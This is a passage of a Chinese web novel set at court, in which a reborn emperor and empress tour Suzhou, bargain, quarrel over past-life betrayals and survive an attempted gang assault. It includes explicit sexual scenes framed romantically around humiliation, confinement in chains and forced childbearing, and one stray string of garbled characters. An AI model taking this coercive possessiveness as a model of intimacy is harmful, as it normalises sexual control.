游人如织,摩肩擦踵,街市两旁是叫卖的摊贩,江南有着许多皇城没有的新奇小玩意,皇帝的目光也流连于此。 上一世两人虽然怨恨对方, 但也曾携手将帝国推向盛世初景,如此安逸欢庆的局面, 最后 “戚离他既然你都能放过江一城, 是不是也能放过戚离?”郁稚趁着皇帝心情好提了提还在天牢的戚离。 萧歧:“你一定要在这种时候说扫兴的话么?”皇帝一盆冷水浇灌下来, 于是郁稚又不说话了。 萧歧:“还是自求多福吧!” 前头人多围在一处不知在瞧什么, 郁稚也好奇,一下钻到人堆里去,“原来是卖小兔子啊” 十八岁正是贪吃贪玩的年纪,对于这些小动物没有任何抵抗力,小小的兔子捧在手心实在可爱极了。 白色兔子都陆陆续续被人挑完了,最后只余下一只卖相不佳的小黑兔。 郁稚:“我要我要、” 老板一瞧, 竟是个天仙似的人儿,但再看看她身边的男子衣着华丽,非富即贵,于是漫天要价,“三两银子。” 郁稚眼巴巴地看向皇帝,朝着他伸手。 萧歧一张冷漠脸,“怎么?” 郁稚想说给她三两银子,但想想皇帝凭什么给她钱,“你能不能借我三两银子?” 萧歧瞧瞧那卖相不好的黑兔,再看看小贩那坑人的得意样,八一似八已留救刘伞“白兔卖三文,这黑色的卖三两银子?你虽然常在深闺,也不应该蠢到这种地步。” 小贩:“姑娘,这不是你夫君哪?” 这话问出口,郁稚不知该如何回答,周围许多人游人围观呢,两人生得实在出挑,瞧着富贵出身,怎么连三两银子都不肯给呢? 皇帝冷脸对着她,也等她回答。 郁稚:“他是、” 路人:“你可真白瞎了长这么好看,他连三两银子都不肯给你。” 路人:“刚说的是借,借都不肯借,还是夫妻呢,瞧着穿得人模狗样的,怎么这么抠门!人家要饭的对娘子都比这好!” 路人:“趁早和离算了,这等姿色,哪里没处嫁!我来说媒,二嫁必定嫁得更好!” 路人:“这三两银子我替你出了!你不如改嫁于我!” 郁稚放下小兔子,起身走了,皇帝脸色阴沉地跟在她身后。 哼,三两银子都不肯借,路人们真是各个生了一张好嘴,训斥的话句句都是她肺腑之言!! “小气!”郁稚小声嘀咕一句。 “江一城对你大方,你要不回去找他。”萧歧回呛一句,郁稚险些被他噎死。 他应该带了很多银子吧视线落在男人腰带间,发现他原来没有带钱袋,等一等,皇帝似乎从来不带钱袋,常年在边疆军营里头,哪里用得上银子。 她挑了挑眉:“所以方才你是拿不出银子么?” 男人神色微凛、不言语,这在郁稚眼中则显得他微微窘迫,少女似是发现了新奇有趣的事,睁着水汪汪的眼睛凑近问,“你出来逛街市,都不带银子的啊?” 郁稚:“幸而你是皇帝,若是寻常男子,邀人姑娘出来,又不带银子,你是娶不到娘子的。” 郁稚:“反正若是我,我肯定不嫁这么小气的。” 皇帝没过过寻常人的日子,边疆也没有如此热闹的街市,附近的侍卫应该带了银子,可他身为君王哪能问侍卫伸手要银子。 郁稚瞧见不远处的当铺,想起自己头上金簪首饰,就往那处去了,皇帝冷着脸跟上。 不多片刻就出来了,她瞧着手心十两碎银子自言自语,“我是不是被坑了?那支金簪很沉的,是内务府的匠人们耗费数月打造而成,巧夺天工” 郁稚:“花三两银子买兔子太亏了,我要去买零嘴儿” 原本是她跟在皇帝身后,此刻却成了皇帝跟着她。 苏州府的各色糯米糕点琳琅满目,郁稚揣着十两银子站在摊位前,眼巴巴地等着紫糯米豆沙糕出笼,太多人买,她就抢到了一个! 咬了一口,热乎香甜,她眼睛也眯起来了,“比宫里头做得好吃” 正准备咬第二口时,身边的那道视线叫她实在忽视不了,于是她将糯米糕递到皇帝嘴边,随意问了句,“你要吃么?” 那个簪子是她从宫里带出来的,算是皇帝所有,既然是他的银子买的糕点,她吃独食也不好。 快说不要吃,那她会一口吃光这个糕点。 岂料皇帝微微低头,就着她的手咬了口糯米糕。 郁稚瞬间气鼓鼓,“你竟然咬掉大半个!!”这一声惊呼引得周围人纷纷看过来。 皇帝立在她身前,“你不会再买一个?” 郁稚:“新出锅的几笼已经卖完了,你没听老板说么?再买要等新做起来啦!” 周围也多是年轻情侣买糕点,人家少女们身边的男子可不会吃伴侣的糕点! “哼!”郁稚扭头就走。 “你在家中也没少吃糕点。”皇帝跟在她身后。 皇帝这意思就是她在宫中吃他的用他的,现在给他吃一口糕点又如何呢? 街市实在热闹有趣,零嘴小食种类繁多,郁稚很快就又欢喜起来了,这次她学乖,每一样都买两份,一份塞到皇帝怀里,有时候自己那份咬了一口不好吃,她也偷偷塞给他,萧歧大约也是饿了,她塞给他什么,他就吃什么,她咬过一口的糕点也全下了肚。 最后最余下三两银子,郁稚却在街尾瞧见了一处首饰摊位,摊主自己雕刻的玉器精致可爱,发饰都很贵,没有七八两银子都买不到,有一对很小的羊脂玉雕刻而成的小猪仔衣扣很可爱,店主要价五两。 郁稚想买给皇帝讨好他,毕竟自己身无分文,回皇城的路还很长,她得厚着脸皮问他要银子。送点东西讨好他,后面要银子也方便。 郁稚:“老板,我身上只剩下三两银子,这对小猪衣扣就卖了我吧,你也快收摊了,就当交个朋友,我明日带我朋友们来光顾。” 摊主瞧了眼她身边的萧歧,这二人非富即贵,“姑娘,我瞧你是送给心上人的吧?就别讨价还价了,这位公子的衣扣掉了,你买下这一对正好回去为他缝上。” 皇帝摸了摸衣襟,似乎才发现自己落了两粒衣扣,郁稚就是瞧见他的衣裳才想起要买衣扣的。 “他不是我心上人。”郁稚道,若说是心上人老板肯定不会降价,“我俩都老夫老妻了,最近正准备和离,你瞧他这脸色。” 摊主瞧了眼男人的神情,果然很差,“这样啊” 最后郁稚软磨硬泡,摊主终于答应三两卖给她。 郁稚捧着这一对袖口笑意盈盈的,“我们回客栈吧,我都累了。”其实是因为没银子了 皇帝也不言语,就跟在她身后往回走,等走到摊主都瞧不见的地方,郁稚笑眯眯道,“你把手摊开来。” 萧歧无动于衷,不知她要做什么。 郁稚:“摊开来、快点儿、” 皇帝照着她说得做,而后郁稚将攥在手里的小猪衣扣放到他手心,“送你的,回去我帮你缝到衣服上。” 少女眉眼弯弯,眸底清澈纯真。 白玉衣扣上还残留她的体温,郁稚:“行了,我们回客栈休息吧。” 她很会哄人。皇帝抿了抿唇没有言语,只是攥紧手心的衣扣。 一路上郁稚都在酝酿,该怎么开口问他要银子,毕竟江南如此富庶有趣,她没有银子用犹如太监上 青楼。 人群渐散,两人一路上都是并肩而行。 将到客栈门口了,郁稚终于鼓起勇气开口,“陛下,你看我对你这么好,最后的三两银子都给你买衣扣了,我能不能求你一件事?” 皇帝听后驻足,眸光深深地望着她,“你以为一副廉价的衣扣,就能哄得朕高兴,饶恕戚离么?” 他当着她的面,松开手心,那副她好不容易买下来的袖扣就这么从他掌心滑落,最后摔入了尘埃里。 他走得决绝,这个瞬间郁稚的心头像是被锐器扎了一记,生疼生疼的 三两银子呢,良久之后她蹲下身捡起来,擦掉灰尘藏入袖口。 她当然知道一副廉价的衣扣改变不了什么,她只是想问他要点银子花而已,不是要他饶恕戚离。 她磨蹭许久回到客栈,皇帝已经沐浴完毕,“去把玉件取出来。” 那玉件还在她体内,郁稚走向屏风后头,皇帝叫住她,“就在这,你自己取,当着朕的面。” 郁稚瓷白脸颊瞬间通红,他就是要羞辱她! 皇帝嘲讽,“你那副廉价的衣扣,不抵这玉件的千分之一,朕觉得还是这件把玩着有意思、” 第78章 第 78 章 缝衣扣 少女体态轻盈妖娆, 侧身坐在椅榻上,裙下一双腿儿纤长优美。 那件温润的羊脂玉雕,并不比她的雪肌白几分,皇帝就这么坐在对面, 若有所思地凝视着她, 欣赏着她的窘迫无助。 皇帝倾身靠近的同时, 接过那件华美玉雕, 也并不将它收走,而是、 “你别这样!”遭他欺负的少女羞涩地避开他的视线, 他的眼神太过专注深邃了, 将她任何细微的神情变化全部收入眼底。 “皇后、可喜欢?”他的气息微热,轻轻喷洒在她脖间, 郁稚咬牙点点头。 “喜欢朕还是喜欢这玉件?” 额间几乎相抵带来的暧昧气息,郁稚避无可避。 男人只有声调是缓慢的,那筋骨分明的手臂,青筋虬结, 叫她求生不得求死不能,如溺水之人只稍稍揪住了一点儿旁人的衣袖, 无法真正上岸, 依旧徘徊在浪涛之间。 入夏之季, 临河客栈的另外一边是街市, 夜间游人三三俩俩,门窗紧合,些许闷热。她身上这一件鹅黄色轻薄纱裙微微凌乱,男人的衣袍却是一丝不苟妥帖穿戴,只被她的手抓出些许皱痕,他观察着她的神情变化, 完全掌控着她、 “你欺负人!你欺负人!!” 最后少女啜泣着控诉,软绵的手掌打在他胸膛,只平白增添了几分意趣、 “不是你要为朕生育子嗣么?怎么又说朕欺负人了?” 皇帝扔开那玉件,亲自除了自己寝衣衣带。 少女脖间薄汗凉丝丝的,透着她特有的体香,淡淡的茉莉花香,或许是沾染了衣衫的熏香 萧歧:“往后若再讨好朕,求朕放了戚离,朕立即叫人杀了他!” 郁稚:“我没有讨好你。” 萧歧:“那今晚那副衣扣算什么?” 天微微亮时,二人同躺在客栈那张并不果算宽绰的榻上,郁稚趴着,任由男人指尖轻轻划过她的背。 郁稚:“我、我是讨好你,可我想求你给我点银子,你想到哪里去了” “问朕要银子?”男人嗤之以鼻,“你是出来玩乐的么?” 郁稚抿了抿唇,不言语了。 昏暗卧房里安静良久,她昏昏欲睡,忽得听见皇帝说,“你去将那一副衣扣缝为朕缝好,朕给你十两银子。” “你不是说那一副衣扣廉价,不想要么?” 萧歧:“虽然廉价,但身为妖后的你头一次说要为朕缝衣扣,算是稀奇。” 郁稚:“不缝,我也是有骨气的,送出去的东西被扔了,哪有送第二次的道理。” “你的骨气值多少银子?”萧歧不屑道,“朕给你十五两。” 小气死了!! 郁稚坐地起价,“五十两银子,我替你缝好,若是再掉了,我还会帮你缝一次。”少女一双眼眸隐隐含笑,“你看我买的糕点你也都吃了,如果你给我五十两,我以后都会多买一份给你。” 男人垂眸,看着少女妖精似的模样。 “就十五两,若再讨价还价,一文钱都不会给你。” 郁稚:“你对我怎么这么小气!” “你不配朕对你大方。”男人反声呛她。 郁稚败下阵来,坐地起价不成功只能妥协,“十五两就十五两,但你得先给银子。” 早知如此,当年逃出宫就多带些银子。 于是深夜离夫妻二人坐起来点了油灯,郁稚掏出那两颗小猪模样的白玉衣扣,取来针线缝上。 她没做过什么针线活,一上来就在指头上扎了一针,渗血弄脏了皇帝的衣袍。 男人在旁边环臂看着,“你果然不会缝。” “不管我会不会缝,反正银子我已经拿到了,我是不会还给你的。”郁稚嘀咕道,“你把油灯拿近些,我瞧不见。” 皇帝照着做了,“朕看你今天到底能不能缝好。” 郁稚:“” 虽然指头上扎了好几针,最终还是将小猪衣扣给他缝上了,就是怎么看怎么别扭,好好一件织锦长袍,配上两颗珠圆玉润的白玉小猪衣扣,显得有些滑稽。 郁稚也不好开口说,毕竟要赚十五两银子。 她将衣袍提起来,“哇!我果然眼光独到,这衣扣很衬这件衣裳!” 皇帝看看不言语,神情终究带着戏谑嘲讽的意思,最后幽幽道了一句,“皇后觉得好,那就好。” *** 翌日郁稚睡到晌午才醒,一醒来就去找枕下那十五两银子,也是很没有出息。 “过来,朕替你穿衣。”皇帝已经穿戴洗漱完毕,替她挑了件衣裳,就等着她醒来。 郁稚受宠若惊,萧歧居然又要伺候她穿衣。 皇帝:“手指昨夜不是扎了好几针么?过来。” 郁稚乖乖坐到他腿上,只是男人手中拿着的这件小衣,并非她穿惯的软绵绸缎,而是棉麻的,有些粗制滥造。 还有衣裳衬裙,是粗粝的棉布所制,不是灰色就是姜黄色。 郁稚穿完站到铜镜前,天哪实在是太丑了!! 郁稚:“我不穿这身衣裳。” 皇帝:“那你自己去买一身。” 郁稚:“”她就十五两银子,哪里来的闲钱买衣裳。 皇帝:“既然没钱,朕给你什么你就穿什么,若是旁人再问起你我之间的关系,你就说是我的女奴!” 哎,她曾经那样不可一世,没想到这一世落到他手里,竟然会为五斗米折腰! 郁稚:“别人家的女奴穿得也是绫罗绸缎,你这是苛刻下人” 皇帝:“再嘀咕就将你发卖在苏州府。” 男人如今真是铁石心肠,郁稚也只能认命。 只是在她眼里丑陋的衣裳,看在旁人眼里却衬得她如西施再世。人皆言想要俏,一身孝,这粗布衣裳穿在郁稚身上是同样的效果。 她下楼用早膳,侍卫们皆不自禁地看向她,一方面是没见过皇后这打扮,一方面实在是美得人心旷神怡。 客栈里人多,虽然郁稚与皇帝坐在最角落的那张膳桌,仍是引得来往的人驻足观望,侍卫们守在附近,旁人才近不了身。 仍有人色心不死,胆敢上前问侍卫,“你们家是哪儿的人哪?那美人是你家奴仆?” 侍卫们只有拔刀恐吓将人吓走。 皇帝下午秘密召见了地方官员,考察他们近几年的政绩。听官员们说今日有庙会,城中最是热闹,郁稚在客栈待得无聊,于是夜里又随皇帝出去逛庙会了。 哪怕是在美人如云的江南,郁稚的容貌也过于出挑了,一身素衣未施粉黛,皇帝走在前头,她跟在身后,一路上已经被好几位公子拦下来询问了。 “姑娘今年芳龄几何,可及笄了?” “姑娘你家住何处?” “姑娘是外乡人?那正好,我带你逛庙会。” 前几日郁稚打扮富贵,旁人轻易不敢调戏,如今她这村女打扮,旁人便觉得自己可以轻易拿下,毕竟村女么,给些银子说不定就可以求娶到了。 皇帝忍无可忍,等到再有人上来搭话,他返回来抓了郁稚的手腕就走。 郁稚倒是觉得这些人斯文,“你生什么气啊?没想到穿这件衣裳,会有那么人上来与我搭话,苏州人说话真好听,我还没听够呢!” 钻入小巷子,避开人群,皇帝才将人放开,“你喜欢那些人?!” 郁稚破罐子破摔,手腕都被男人抓得泛红,她还没生气呢,他倒是先生气了,“为什么不喜欢?我向来喜欢温柔的人。” 郁稚:“我当初若是没嫁给你就好了。” 男人眼神凛冽起来,等着她继续往下讲。 郁稚:“从前宫中美女如云,我没觉得自己有多出挑,如今我出了宫才知道,其实我这样的出身与容貌,嫁个小富人家是轻而易举之事,或许那个人没有多大的权势,但我可以过得很好很安逸。” 她看向庙会上的年轻男女们,大多欢声笑语,而她与眼前的这个男人简直是孽缘,其他男子虽然没有他有权势,可至少她可以过平淡的日子。 郁稚:“你要是没娶我当皇后,你也可以过得很好。” 皇帝沉默片刻,“这庙会真没意思,你既然喜欢那些讨好你的人,就尽管喜欢去。朕已经不想管你了。” 皇帝赌气往回走,郁稚这左右为难,她若不跟上去,回了客栈他又要与她生气。 想了想还是跟上去。 可没走几步,巷子那头有人来了,还不止一人,三人将巷子那头堵住了。 糟糕,今夜侍卫们没有跟来,郁稚想着自己钱袋里那十五两银子!绝对不能叫抢去了!她转身往巷子那端走,可她绝望地发现另外一端也有人守着,统共七八个人围堵她! 郁稚进退两难。 “这样的美人我还是头一回见,外乡来的果然非同一般!”为首的男人身高体壮,肌肤黝黑,一脸色相,郁稚立即意识到他们不是劫财的、而是、而是、 他们应该跟了她许久了,伺机而动,等她落了单就 “救命救命”她张口呼救,附近就是庙会有很多人,岂料为首的壮汉伸手捂住了她的嘴,七八个人朝着她靠近。 她根本挣脱不了。 “萧歧!萧歧--!!”她绝望极了,萧歧他走了!! 嘶啦-- 不知是谁的手撕开了她的衣袖,少女娇弱的身体根本无力对抗!! “萧歧--!!” “这会儿不方便,将她绑起来带去安静地方。”壮汉撕下她的袖子堵住了她的口。 郁稚伸手,指甲深深地抠入壮汉的手腕,他痛得松开了手,她转身就跑,朝着巷子有光的地方。 “唔!!”耳后传来剧烈疼痛,壮汉揪住了她的头发! 然而下个瞬间,壮汉发生一处凄厉的惨叫,他揪她头发的手被生生地折断了,郁稚跌倒在地,忍着剧痛回眸去看,萧歧他竟然折返回来了!! 为首的壮汉手断了,再是腿骨,硬生生地被踢断,其他人吓得要逃,萧歧拦住,叫他们一个个都插翅难飞。 地痞流氓哪里打得过在战场出生入死的君王,一个个最后都生不如死倒在了地上血腥气在巷子里弥漫开来。 “还不起来?磨蹭什么?” 郁稚怔怔地跪坐在地上望着他,他打人干脆利落,一招就能叫人痛不欲生。 皇帝:“你腿又没断。” 七八个壮汉一起打,萧歧并非毫发无伤,最后那个人为了逃命,用手中的利刃划伤了萧歧的肩膀,滚烫浓郁的鲜血顺着手臂往下从指尖滴落。 “郁稚,像你这样的人,无法过小富即安的日子。太多人觊觎你了。”皇帝抬手轻轻摩挲她的下颌。 她太美太耀眼了,除非是一方首富将她馆藏在宅院之中,叫她不见任何人,否则她终究会被更有权势的男人所占有。 “哪怕你嫁给旁人,最终还是被送到龙榻上来。” 郁稚惊魂未定,与皇帝一道回了客栈。 她心中掀起一层又一层的惊天巨浪,她从不知皇帝的武力这般厉害,他一抬脚就能踢断那壮汉的腿骨 如此一对比,他在床榻间反而显得很温柔 “怎么?又开始怕朕了?”皇帝看她神魂未定,他似笑非笑地问她。 萧歧说得没错,哪怕她不嫁他,嫁给旁人,最终的命运还是会与他相逢,毕竟一个美人一副绝世名画一副大家字帖,都是男人步步高升的阶梯,那位小富的夫君护不住她,甚至可能拱手用她去讨好更高的权贵 毕竟她那位身为国公的父亲,也将她献给了君王。 “臣妾替陛下清理伤口吧”认清了这一点,她倒是有些认命了,民间未必比宫里好。 她替他解开衣袍,虽然染了血污还有破碎,那两粒缝得乱七八糟的小猪扣子倒是安然无恙,随着衣袍褪下,露出男人精悍的上半身,铜墙铁壁一般。 第79章 第 79 章 对账 郁稚仔细替皇帝清洗肩膀伤口上药, “疼不疼?要不叫人去请大夫来?” “你不觉得很奇怪么?郁稚、”萧歧幽幽问道,“弑君之人,如今却关心朕身上这道浅浅的伤口疼不疼,皇后演起戏来与真的一样!!” “我没有演戏, 既然你不疼那就不请大夫了!而且我上一世没有杀你, 你不是死在战场上么?何苦来怪我?!” 提起上一世, 萧歧愈加恼火, “难道不是你的人埋伏刺杀朕么?若非如此朕怎么会负伤上战场!” “你弄清楚了么?就说是我的人!我说不是就不是!我若要杀你,何苦派人通风报信救你, 上一世李檀她有什么能耐, 她凭什么知道刺杀的事继而给你写信,还不是我事先告知了她!” 萧歧自然不信,“你满口谎言,如今为了自保什么谎都敢说!” 郁稚:“那个时候我被父兄软禁于未央宫,我偷偷派了一个叫纯儿的宫女去给李檀传口信,求她救你。这一世她用这份功劳换来贵妃之位, 所以忌惮我,怕我又来领走这份功劳, 于是心虚杀死纯儿, 你若不相信尽管去查!纯儿是芍药的远亲妹妹, 你大可以去问她是不是这样!” “芍药是你的宫女, 你们主仆二人说的话,朕一个字都不信!”萧歧道,“上一世我离开皇城那日,你看我的眼神充斥着憎恶,你怎么会通风报信?!” 萧歧:“朕一直都不知,为何你憎恶朕?” “因为害怕、恐惧。”郁稚直白地告诉他, “那个时候你说我父兄夺权干政,说要将他们杀了。你说这些话的时候有没有想过我的感受?” 萧歧:“他们对你不好,不过是利用你罢了!你我是夫妻,朕要杀他们,可没说要废了你的皇后之位,朕对你难道不够好么?” 郁稚:“史上废后的皇帝还少么?!那时我们的关系已经岌岌可危,我会想你若处置了我的父兄,那我是何等下场呢?唇亡齿寒这就是原因,我曾经无数次祈盼你的死亡。可是你离开皇城之后,我看着父兄愈加肆无忌惮,甚至不将我这位皇后放在眼里,我才慢慢觉悟。上一世我郁稚做尽坏事,但我发誓绝对没有派人杀你!!!” 少女眸光坚定,仰着头不惧怕与他对视。 “既然要通风报信,为何不亲自写密信送来?”萧歧质问她。 郁稚失笑,笑意凄凉,“因为我不会写字啊你忘记了么?陛下,我不会写字啊” 男人严肃地望着她,眼神凛冽,企图从她任何细微的神情里察觉一丝一毫破绽,可是没有,她那样坦然而无畏。 “你说的话,一字一句,朕回宫以后自然会亲自辨别真伪。”萧歧道,“哪怕是真的,你通风报信企图救朕,你也抵你上一世对朕犯下的罪孽,郁稚你犯下的罪罄竹难书!” “我知道” 皇帝认真道:“朕还有一事要问你,上一世你父兄把控朝政以后呢?发生了何事?” 郁稚:“皇族宗室自然反抗了,他们斗得你死我活,天下彻底乱了” “朕问的是你,你就一直被幽禁于未央宫?李檀说你杀了后宫所有妃嫔,到底是不是真的?!” 郁稚笑得凄凉,眼眸含泪,“我从不杀女子,后宫的妃嫔她们都很乖顺,我杀她们做什么。况且那时的我连自保都难,你死后没多久,未央宫失火,整座宫殿都被烧了个精光。” 皇帝i:“你呢?去何处了?” 郁稚:“臣妾说的是未央宫烧了个精光,我被幽禁在宫殿里,陛下说我还能去何处?” “你死了?!”萧歧显然不信。 “烈火灼烧,消失殆尽。”郁稚道,“比你在沙场万箭穿心,也好不了多少,陛下知道这件事,心中还意难平么?是不是很痛快?” “胡说八道!”萧歧完全没有快意,有的只是愤怒,“你这妖后何等手段,会被人烧死在未央宫?郁稚,你说谎也要有点限度,况且未央宫有密道,你一直都是知道的!” 他手掌捏她纤柔的肩胛,生疼,“朕再给你一次机会,你对朕说实话!!” “臣妾说的就是实话。”少女眸光脆弱,描绘着自己那样凄惨的结局,唇角确实含笑的,“陛下不信,臣妾也没有法子。” “你满口谎言,以为说这些朕会同情你?!”萧歧愈加愤怒,“朕一个字都不信!你的父兄为何要幽禁你?又为何要焚火烧你,这于他们大不益!只有你活着才能为他们所用!朕死了,他们只需要随意挑一个年幼且听话的宗室子,过继给你,奉你为太后,他们就可以把持朝政,为所欲为!” 郁稚:“因为他们发现我向你通风报信,发现我已经偏向于你,若我活着对他们才是真正的威胁。” “事情真相,朕回皇宫自会查清楚!”萧歧一字一句磨在齿间,“不过妖后就是妖后,三言两语就能扰人心神!像你这样卑劣的女子,朕不会一而再再而三地为你欺骗!” 郁稚满不在乎,“我真希望自己没有前世记忆,稀里糊涂地任由你摆布也挺有意思,好过现在这般,对了,你让李御医给我吃的药还有么?回去之后继续给我吃如何?那药说是可以叫人心神恍惚,模糊记忆?” “你休想逃避,你欠朕的一辈子还不清!回宫之后无论真相是什么,你一生都会被幽禁未央宫!还有一件事你也躲不掉,你必须为朕诞育子嗣,这都是你上一世欠朕的。” “陛下究竟要子嗣,还是要将我幽禁未央宫?” “这两者冲突么?”皇帝右臂受伤,左手去解她的衣带,“朕会亲自抚养他,他的脾性不会与你这个满口谎言的骗子有丝毫相似之处!” 郁稚笑了,“那你会让这个孩子认我这个母亲么?还说不叫他知道呢,若是我的孩子认李檀作母亲,陛下不觉得太残忍了么?” “你有什么资格与朕谈残忍二字。”男人掌心抚过,少女曼妙胴体,这一副美丽的皮囊绝对没有被大火吞噬,她在说谎,她的话轻易信不得!! “坐上来、” 郁稚掌心撑在男人结实腰腹,两人争锋相对的争吵反而叫她心潮澎湃,她觉得萧歧也是这样的感受。 “陛下可知道我记忆恢复后在想什么么?”郁稚笑着调侃,“唔,我觉得从前自己太不识好歹了,竟会觉得你凶悍粗鲁,竟然会将你拒之门外,不喜欢与你欢好,现在想想真是暴殄天物,其实我很喜欢” 这种时候皇帝神情也没有温柔几分,“你以为这么说就能讨好朕,可以哄得朕高兴。” “那臣妾问你一个问题。”郁稚与他额头相抵,看着男人口是心非,为自己神魂颠倒,温柔的狡杀令他再难伪装,男人眉宇间的快意很难隐藏,“陛下重生回来那一日,为什么没有杀臣妾呢?” 她的语调轻佻,这种时候的调情恰到好处,皇帝却被她惹得恼火,“你给朕住口!” 她居高临下,完全掌控,偏不住口,“陛下这么喜欢臣妾么?喜欢到哪怕上一世被我害死,这一世重生回来第一件事、唔、” 皇帝咬住她的唇瓣,手伤的手臂不使力,就用左手手臂环抱她的腰身,起身将她抵在墙上,“朕说住口!” 郁稚简直找死,她就是不消停,“那陛下常年征战在外,夜里可会思念臣妾?凭何疏解呢?” “朕的军帐里多的是美人!皇后多余操心!”皇帝铆足了劲,“你这等妖后不配朕思念你!” “可你上一回不是说没有么?” 皇帝被她惹得愈加羞恼,温香软玉,再恼火也只能使在那处,“朕再问你一遍,你方才说的话可都是真的?!” “真的,陛下不信可以回宫去查,我从未命人杀了你,宫女纯儿传信之事是真的!否则李檀为何无缘无故杀一个刚进宫小的宫女。” “好、朕信你最后一回!” 郁稚:“还有一件事,我真与那些年轻臣子没有肌肤之亲,你要信我、诶?!” 无论是不是真的,他这一世都会将她幽禁未央宫!眼下最要紧的是她能怀上子嗣,如此一来就好了,他有了真正的骨肉至亲,完全独属于他一人,想想都令人心潮澎湃,他会亲自教导他,好好抚养他,自己再不会与上一世那般,万箭穿心,孤零零地死在战场上!再也不会了! 他们两人的关系已经到了无可修复的地步,毕竟她也有了上一世的记忆,眼下只有盼着孩子,最好多能生几个。 “朕回去就将你锁在未央宫,叫你一个接一个地替朕生孩子!!用铁链锁住、哪里都不许去、哪里、唔、都不许去!!” “皇后” 第80章 第 80 章 惬意时光 这日之后郁稚与皇帝关系有所缓和, 萧歧大手一挥给了她张一千两的银票,郁稚很没出息地当场笑出了声。 苏州府的绫罗绸缎是天底下最时兴的样式,虽然大多没有宫里布料珍贵,胜在样式繁多, 郁稚跑去裁缝铺里给自己置办了好几身行头, 又去珠翠店铺采买了首饰, 时人尚美, 苏州府尤盛,连珠钗的样式都格外精致。 郁稚将银子放到皇帝腰间钱袋里头, 要付钱了就只管去他那掏银子, 从前哪有这样的好日子啊,这几日她看皇帝怎么看怎么顺眼。 “唔、那个、再给你换一对衣扣吧,那对太廉价了,你瞧这对螭龙碧玉扣就很好看!”郁稚心道自己不能对皇帝太小气。 皇帝今日着了那件缝着小猪白玉扣的衣袍跟着她到处跑,偶尔旁人瞧见了,都会留心多看一眼, 甚至有几个少女看过后用扇子捂着笑意走开了。 萧歧这张冰山脸配小猪扣子确实有些滑稽好笑。 “不必,宫里头的衣扣更精致些, 回宫再换。”皇帝从钱袋里取出银子, “你买你的那些吧。” 竟然还挑三拣四, 那更好, 省银子了。 春夏交接之际,今日天气甚好,郁稚提议,“要不我们去游湖?江南还多好玩的,等玩遍了苏州府我们再去别处玩。” 她就拖着不肯回宫,一旦回宫她就要被锁在未央宫了。 “随你。”皇帝语气淡淡的。 “不对, 游湖至少两个时辰,那就过了午膳的时辰,我们先去天醉楼吃饭。我听江、”郁稚说错了话,立即抿住了唇,抬眸打量萧歧的神情。’ 皇帝瞧着她不言语。 郁稚:“我听说天醉楼在江南有十几家,苏州府这家烧得最好,开第一家天醉楼的人曾是宫里的御厨,可厉害了!” 萧歧听后不解道,“御厨很厉害?” 郁稚:“御厨还不厉害么?等一等、御厨确实没什么厉害的、宫里的御厨很一般啊。” 萧歧:“也或许是你我吃腻了,走吧,去天醉楼试试。” 郁稚脚步轻快,跟上皇帝,“萧歧,你知道么,第一家天醉楼是开在皇城里。” “不知道。” 郁稚:“我原先也不知道,没有去过,等回了皇城,我们一道去好么?” 萧歧又不言语,半响才道,“若今日午膳不错,回皇城以后就去试试。” 哎呀,他虽然态度还是很寡淡,但总算有问有答,还不错。所以她回宫以后的日子应该也不会很艰难。 天醉楼富丽堂皇,且是临江的位置,二楼看出去正好。 店小二:“你们二位是外乡人?那今日一定要尝尝我们这儿的清蒸白丝鱼,清晨才捕捞上岸,正活蹦乱跳呢,还有刚出炉的烤乳鸽、二位是哪里来的?喜爱什么口味?” 郁稚挑选了六七道菜,店小二却不肯走,又继续打听,“你们二位是夫妻?听口音不像是江南人。” 郁稚纯纯一笑,“我们不是夫妻,我们私奔出来的。” 店小二被她吓愣住,灰溜溜地走了。 萧歧给二人倒茶,“胡说八道。” “出门在外,最烦这种问祖籍、问名字的,你是不知道,之前我从皇城逃到江南,到了杭州府街上全是官兵,最怕有人突然问我、”说到一半意识到自己得意忘形、口无遮拦了。 皇帝扬了扬眉角,“问你什么?” 郁稚缩缩脑袋,“最怕问我芳龄几何,是否婚配,没办法,生得好看就是有这种烦恼,嘿嘿” 她眼神飘忽不定,暗暗下定决心不能再乱说话了!! 郁稚原本就是如此明媚活泼的女子,上一世属实是钻牛角尖了。 等菜上来,她亲自给皇帝夹了个大鸡腿,“早说你在青楼弹琴当小倌儿没什么出路,让你跟我私奔,你看现在跟着本小姐,现在是不是顿顿有肉吃?!” 送菜的仍是方才那个店小二,听到郁稚这话顿时又瞪大了眼睛。脑子里自然描绘出了富家千金看上青楼男倌儿,放下一切带着银子与其私奔到江南的故事。 店小二又仔细瞧了瞧萧歧这位男客官的长相,点了点头,仿佛在肯定说他这副样貌值得千金小姐为他私奔,确实养眼。 皇帝凝重的目光回望店小二,吓得店小二立即收回眼神,“两位慢用!!” 膳桌对面,郁稚笑眯了眼,“哎呀,真有意思,你不许戳穿我啊。” 这是两人头一次在外头酒楼里坐下好好点菜用膳,这天醉楼的菜确实比宫里头还好,皇帝用得不少,郁稚每道菜只吃了一两口,天气渐热胃口实在不佳。 两人下楼准备结账时,方才那位店小二就依靠在门口与人说话,“那小倌儿生得是真好看!不过那位千金小姐更是仙女儿似的,再好看也不能拿自己前程开玩笑呐,你说说,怎么就想不开与这小倌儿私奔了?!” 皇帝深深地看了一眼郁稚,郁稚笑得不成了,哎呀,真有意思。 入夏前天气好,春风拂面,温柔缱眷,两人一道往码头去,那处有租给游人的画舫。 “你要牵我的手么?”郁稚问皇帝。 “为何要牵手?”皇帝不解。 郁稚:“因为别人都牵手了。” 此处民风开放,男女情侣之间出来江边游玩,多有牵着手的。 皇帝:“在外不成体统、” “哼,装模作样!”郁稚主动牵过皇帝的手,“我们回皇城就牵不了了!” 皇城的街道上,似乎不常见牵手的? 她眸光熠熠,“快点儿,再不去租画舫,就要被租完了!” 萧歧到底也没挣脱,两人真如江边寻常的情侣夫妻,如此牵着手说这话。 两人花钱租下所有画舫中装饰得最漂亮的一艘,皇帝原本要自己撑船,但跟着他们的侍卫仍一道上了船,毕竟昨夜皇帝受伤。 画舫上十分惬意,四周挂着竹帘月影纱,撩起帘子就可以欣赏湖上风光,放下帘子又是私密的空间。 皇帝亲手煮茶。 郁稚揉了揉肚子躺下,“天醉楼的烤乳鸽真好吃,我们明日再去吃好么?” “你又没吃几口。”皇帝道。 “我食量小,但还是想吃。”郁稚迷迷糊糊有些困倦,“你说我们从前怎么没来江南游玩呢?” “上一世你憎恶朕,怎么会出来游玩呢?”皇帝问她,“所以是因为瞿氏的死么?才开始恨上朕的?” 